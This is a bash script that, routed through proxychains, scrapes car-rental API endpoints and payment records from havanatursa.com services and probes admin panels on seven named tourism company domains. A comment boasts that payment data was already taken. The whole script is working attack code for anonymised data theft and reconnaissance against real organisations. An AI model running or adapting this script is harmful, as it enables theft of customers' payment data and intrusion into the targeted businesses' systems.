#!/bin/bash
echo "=== Dump Cars API + Payment Data ==="

# Cars API
proxychains4 -q curl -ks --connect-timeout 15 -m 60 "https://apiautos.havanatursa.com/vehicles" > /tmp/havanatur-vehicles.json 2>/dev/null
echo "vehicles: $(wc -c < /tmp/havanatur-vehicles.json) bytes"

proxychains4 -q curl -ks --connect-timeout 15 -m 60 "https://apiautos.havanatursa.com/brands" > /tmp/havanatur-brands.json 2>/dev/null
echo "brands: $(wc -c < /tmp/havanatur-brands.json) bytes"

# More Cars endpoints
for ep in "/locations" "/offices" "/categories" "/models" "/rates" "/availability" "/config" "/help" "/api" "/version"; do
  status=$(proxychains4 -q curl -ks -o /dev/null -w "%{http_code}|%{size_download}" --connect-timeout 10 -m 20 "https://apiautos.havanatursa.com${ep}" 2>/dev/null)
  code=$(echo $status | cut -d'|' -f1)
  size=$(echo $status | cut -d'|' -f2)
  echo "  [$code] $ep (${size}B)"
  if [ "$code" = "200" ] && [ "$size" -gt 0 ] && [ "$size" -lt 100000 ]; then
    proxychains4 -q curl -ks --connect-timeout 10 -m 20 "https://apiautos.havanatursa.com${ep}" > "/tmp/havanatur-cars-$(echo $ep | tr '/' '-').json" 2>/dev/null
  fi
done

# Payment data (already got 659KB from transfer API)
echo ""
echo "=== Payment data sample ==="
proxychains4 -q curl -ks --connect-timeout 15 -m 120 "https://apitransfer.havanatursa.com/v1/payment" > /tmp/havanatur-payments.json 2>/dev/null
echo "payments: $(wc -c < /tmp/havanatur-payments.json) bytes"
echo "Sample (first 500 chars):"
head -c 500 /tmp/havanatur-payments.json

# Check for more payment data
echo ""
echo "=== Payment with pagination ==="
proxychains4 -q curl -ks --connect-timeout 15 -m 30 "https://apitransfer.havanatursa.com/v1/payment?limit=5" > /tmp/havanatur-payments-sample.json 2>/dev/null
echo "paginated: $(wc -c < /tmp/havanatur-payments-sample.json) bytes"

# Admin panels - grab HTML titles and tech
echo ""
echo "=== Admin Panels ==="
for domain in "admin.cubanacansa.com" "admin.grupocubanacan.com" "admin.marinasgaviotasa.com" "admin.okaturs.com" "admin.cislapradera.com" "admin.ofertastravel.com" "admin.havanatursa.com"; do
  title=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "https://${domain}/" 2>/dev/null | grep -oP '<title>[^<]+</title>' | head -1)
  size=$(proxychains4 -q curl -ks -o /dev/null -w "%{size_download}" --connect-timeout 10 -m 15 "https://${domain}/" 2>/dev/null)
  echo "  $domain: $title (${size}B)"
done

echo ""
echo "Completed: $(date)"
